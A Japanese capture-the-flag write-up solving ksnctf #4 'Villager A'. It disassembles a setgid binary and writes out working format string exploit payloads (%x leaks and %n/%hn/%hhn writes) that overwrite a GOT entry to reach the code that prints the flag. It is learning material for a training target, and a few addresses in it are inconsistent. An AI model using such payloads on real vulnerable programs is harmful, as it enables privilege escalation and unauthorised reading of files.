ksnctf #4 Villager A

#Villager A
[問題](https://ksnctf.sweetduet.info/problem/4)

Villager A: 村人A

とりあえずssh接続してみる。

```
[q4@eceec62b961b ~]$ ls -la
total 32
dr-xr-xr-x 1 root root 4096 Feb 27 06:11 .
drwxr-xr-x 1 root root 4096 Feb 27 06:11 ..
-rw-r--r-- 1 root root   18 Jul 21  2020 .bash_logout
-rw-r--r-- 1 root root  141 Jul 21  2020 .bash_profile
-rw-r--r-- 1 root root  456 Feb 27 06:11 .bashrc
-r--r----- 1 root q4a    22 Feb 26 18:01 flag.txt
-r-xr-sr-x 1 root q4a  5857 Feb 26 18:01 q4
```
flag.txtとq4が見つかった。
まずflag.txtを見てみる。

```
[q4@eceec62b961b ~]$ cat flag.txt
cat: flag.txt: Permission denied
```
flag.txtには権限がない。
ではq4を調べてみる。

```
[q4@eceec62b961b ~]$ file q4
q4: setgid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.18, BuildID[sha1]=526c75e7f0f34744808eb1b09a5a91880562efc8, not stripped
```

実行ファイルなので実行してみる。

```
[q4@eceec62b961b ~]$ ./q4
What's your name?
q4
Hi, q4

Do you want the flag?
yes
Do you want the flag?
true
Do you want the flag?
T
Do you want the flag?
no
I see. Good bye.
```
まず名前を入力。「no」を入力するまで繰り返し「Do you want the flag?」と聞かれた。
何をやってるのかobjdumpで調べる。

```
[q4@eceec62b961b ~]$ objdump -S q4

q4:     file format elf32-i386


Disassembly of section .init:

08048424 <_init>:
 8048424:	55                   	push   %ebp
 8048425:	89 e5                	mov    %esp,%ebp
 8048427:	53                   	push   %ebx
 8048428:	83 ec 04             	sub    $0x4,%esp
 804842b:	e8 00 00 00 00       	call   8048430 <_init+0xc>
 8048430:	5b                   	pop    %ebx
 8048431:	81 c3 a0 15 00 00    	add    $0x15a0,%ebx
 8048437:	8b 93 fc ff ff ff    	mov    -0x4(%ebx),%edx
 804843d:	85 d2                	test   %edx,%edx

　~省略~

08048474 <putchar@plt>:
 8048474:	ff 25 e0 99 04 08    	jmp    *0x80499e0
 804847a:	68 08 00 00 00       	push   $0x8
 804847f:	e9 d0 ff ff ff       	jmp    8048454 <.plt>

08048484 <fgets@plt>:
 8048484:	ff 25 e4 99 04 08    	jmp    *0x80499e4
 804848a:	68 10 00 00 00       	push   $0x10
 804848f:	e9 c0 ff ff ff       	jmp    8048454 <.plt>

08048494 <__libc_start_main@plt>:
 8048494:	ff 25 e8 99 04 08    	jmp    *0x80499e8
 804849a:	68 18 00 00 00       	push   $0x18
 804849f:	e9 b0 ff ff ff       	jmp    8048454 <.plt>

080484a4 <fopen@plt>:
 80484a4:	ff 25 ec 99 04 08    	jmp    *0x80499ec
 80484aa:	68 20 00 00 00       	push   $0x20
 80484af:	e9 a0 ff ff ff       	jmp    8048454 <.plt>

080484b4 <printf@plt>:
 80484b4:	ff 25 f0 99 04 08    	jmp    *0x80499f0
 80484ba:	68 28 00 00 00       	push   $0x28
 80484bf:	e9 90 ff ff ff       	jmp    8048454 <.plt>

080484c4 <puts@plt>:
 80484c4:	ff 25 f4 99 04 08    	jmp    *0x80499f4
 80484ca:	68 30 00 00 00       	push   $0x30
 80484cf:	e9 80 ff ff ff       	jmp    8048454 <.plt>

　~省略~

080485b4 <main>:
 80485b4:	55                   	push   %ebp
 80485b5:	89 e5                	mov    %esp,%ebp
 80485b7:	83 e4 f0             	and    $0xfffffff0,%esp
 80485ba:	81 ec 20 04 00 00    	sub    $0x420,%esp
 80485c0:	c7 04 24 a4 87 04 08 	movl   $0x80487a4,(%esp)
 80485c7:	e8 f8 fe ff ff       	call   80484c4 <puts@plt>
 80485cc:	a1 04 9a 04 08       	mov    0x8049a04,%eax
 80485d1:	89 44 24 08          	mov    %eax,0x8(%esp)
 80485d5:	c7 44 24 04 00 04 00 	movl   $0x400,0x4(%esp)
 80485dc:	00 
 80485dd:	8d 44 24 18          	lea    0x18(%esp),%eax
 80485e1:	89 04 24             	mov    %eax,(%esp)
 80485e4:	e8 9b fe ff ff       	call   8048484 <fgets@plt>
 80485e9:	c7 04 24 b6 87 04 08 	movl   $0x80487b6,(%esp)
 80485f0:	e8 bf fe ff ff       	call   80484b4 <printf@plt>
 80485f5:	8d 44 24 18          	lea    0x18(%esp),%eax
 80485f9:	89 04 24             	mov    %eax,(%esp)
 80485fc:	e8 b3 fe ff ff       	call   80484b4 <printf@plt>
 8048601:	c7 04 24 0a 00 00 00 	movl   $0xa,(%esp)
 8048608:	e8 67 fe ff ff       	call   8048474 <putchar@plt>
 804860d:	c7 84 24 18 04 00 00 	movl   $0x1,0x418(%esp)
 8048614:	01 00 00 00 
 8048618:	eb 67                	jmp    8048681 <main+0xcd>
 804861a:	c7 04 24 bb 87 04 08 	movl   $0x80487bb,(%esp)
 8048621:	e8 9e fe ff ff       	call   80484c4 <puts@plt>
 8048626:	a1 04 9a 04 08       	mov    0x8049a04,%eax
 804862b:	89 44 24 08          	mov    %eax,0x8(%esp)
 804862f:	c7 44 24 04 00 04 00 	movl   $0x400,0x4(%esp)
 8048636:	00 
 8048637:	8d 44 24 18          	lea    0x18(%esp),%eax
 804863b:	89 04 24             	mov    %eax,(%esp)
 804863e:	e8 41 fe ff ff       	call   8048484 <fgets@plt>
 8048643:	85 c0                	test   %eax,%eax
 8048645:	0f 94 c0             	sete   %al
 8048648:	84 c0                	test   %al,%al
 804864a:	74 0a                	je     8048656 <main+0xa2>
 804864c:	b8 00 00 00 00       	mov    $0x0,%eax
 8048651:	e9 86 00 00 00       	jmp    80486dc <main+0x128>
 8048656:	c7 44 24 04 d1 87 04 	movl   $0x80487d1,0x4(%esp)
 804865d:	08 
 804865e:	8d 44 24 18          	lea    0x18(%esp),%eax
 8048662:	89 04 24             	mov    %eax,(%esp)
 8048665:	e8 7a fe ff ff       	call   80484e4 <strcmp@plt>
 804866a:	85 c0                	test   %eax,%eax
 804866c:	75 13                	jne    8048681 <main+0xcd>
 804866e:	c7 04 24 d5 87 04 08 	movl   $0x80487d5,(%esp)
 8048675:	e8 4a fe ff ff       	call   80484c4 <puts@plt>
 804867a:	b8 00 00 00 00       	mov    $0x0,%eax
 804867f:	eb 5b                	jmp    80486dc <main+0x128>
 8048681:	8b 84 24 18 04 00 00 	mov    0x418(%esp),%eax
 8048688:	85 c0                	test   %eax,%eax
 804868a:	0f 95 c0             	setne  %al
 804868d:	84 c0                	test   %al,%al
 804868f:	75 89                	jne    804861a <main+0x66>
 8048691:	c7 44 24 04 e6 87 04 	movl   $0x80487e6,0x4(%esp)
 8048698:	08 
 8048699:	c7 04 24 e8 87 04 08 	movl   $0x80487e8,(%esp)
 80486a0:	e8 ff fd ff ff       	call   80484a4 <fopen@plt>
 80486a5:	89 84 24 1c 04 00 00 	mov    %eax,0x41c(%esp)
 80486ac:	8b 84 24 1c 04 00 00 	mov    0x41c(%esp),%eax
 80486b3:	89 44 24 08          	mov    %eax,0x8(%esp)
 80486b7:	c7 44 24 04 00 04 00 	movl   $0x400,0x4(%esp)
 80486be:	00 
 80486bf:	8d 44 24 18          	lea    0x18(%esp),%eax
 80486c3:	89 04 24             	mov    %eax,(%esp)
 80486c6:	e8 b9 fd ff ff       	call   8048484 <fgets@plt>
 80486cb:	8d 44 24 18          	lea    0x18(%esp),%eax
 80486cf:	89 04 24             	mov    %eax,(%esp)
 80486d2:	e8 dd fd ff ff       	call   80484b4 <printf@plt>
 80486d7:	b8 00 00 00 00       	mov    $0x0,%eax
 80486dc:	c9                   	leave  
 80486dd:	c3                   	ret    
 80486de:	90                   	nop
 80486df:	90                   	nop

　~省略~

```

fgetsで入力された文字列を取得して、printfやputcharで表示や改行をしている。

0x80486a0でfopenが使われていることに気がついた。おそらく、ここで権限がなく開くことができなかったflag.txtを開いているのだろう。
fopen以前のjmpやjne命令によって処理が飛んでしまいfopenまでたどり着けない。そこで、jmp命令が発生したとき、jmp先のアドレスを0x8048691(fopenの処理が始まるアドレス)に書き換えることができればfopenまでたどり着ける。
**今回は0x08048474で使われているput_charに注目して、jmp先のアドレスである0x80499e0の値を0x8048691に書き換える。

#Format String Attacks
今回の問題では、

```
What's your name?
q4
Hi, q4
```
からわかるように、入力した文字列がそのまま出力されている。こんなときには[Format String Attacks(書式指定文字列攻撃)](http://blog.livedoor.jp/hiroumauma/archives/1314990.html)が用いられる。以下に例を示す。

```
[q4@eceec62b961b ~]$ echo -e "AAAA,%x,%x,%x,%x,%x,%x,%x,%x,%x" | ./q4
What's your name?
Hi, AAAA,400,f7c7f580,ffee0c38,6,0,41414141,2c78252c,252c7825,78252c78

Do you want the flag?
```
echoの結果を|([パイプライン](https://eng-entrance.com/linux-pipeline))でq4に渡して実行している。
%x,%x,%x,%x,%x,%x,%x,%x,%xのようにフォーマット指定子（フォーマットパラメータ）を入力することでスタックの中身を覗くことができる。スタックの中身はアドレス。Aは[ASCIIコード表](http://www3.nit.ac.jp/~tamura/ex2/ascii.html)から16進数表記で0x41なのでAAAAは0x41414141に対応している。スタックの中身を見てみると、0x41414141は6番目にある。任意のメモリの読み込みができた。

6番目のアドレスを0x80499f0にしたい場合、[リトルエンディアン](https://e-words.jp/w/リトルエンディアン.html)に注意して以下のようにする。

```
[q4@eceec62b961b ~]$ echo -e "\xe0\x99\x04\x08%6\$x" | ./q4
What's your name?
Hi, 80499f0

Do you want the flag?
```


#Overwite
次は指定した**アドレスの値（0x80499e0の値）**を**任意のアドレス(0x8048691)**に書き換える。書き換えには%nを使う。%nはprintfで使われるフォーマット指定子で、「%nを処理するまでに表示したバイト数」を%nに対応するパラメータに書き込むことができる。このとき、**%[X]$n**というようにして[X]で対応するアドレスの位置を指定する。

書き換えたいアドレスは0x8048691で、これを10進数に直すと134514321となる。はじめの4バイト(16進数は１文字4bit。アドレスは８文字から成るから（0x8048691は本当は先頭に0がある）4bit×8=32bit=4Byte)はすでに書かれているから、134514321-4=134514317。これを0x80499f0の値とすれば良い。

```
echo -e "\xe0\x99\x04\x08%134514317x%6\$n" | ./q4
```
となる。
簡単にいうと、スタックの6番目のアドレス0x80499e0の値を0x8048691 -4バイト（10進数で134514317）に書き換える。

```
echo -e "\xe0\x99\x04\x08\xe2\x99\x04\x08%34441x%6\$hn%33139x%7\$hn" | ./q4

echo -e '\xe0\x99\x04\x08\xe1\x99\x04\x08\xe2\x99\x04\x08\xe3\x99\x04\x08%129c%6$hhn%245c%7$hhn%126c%8$hhn%4c%9$hhn' | ./q4
```
134,514,317個の空白を入力しているから、実行してみると結構時間がかかる。これは%nが4バイトの書き込みを行なっているから。実際のコンテストでは時間短縮のために、%hnで2バイトの書き込みにしたり、%hhnで１バイトの書き込みにしたりするなどすることが多いらしい。

#まとめ
難しいかったけど勉強になった。
完全に理解できたわけじゃないので他の問題を解く中で理解できたことがあれば修正します。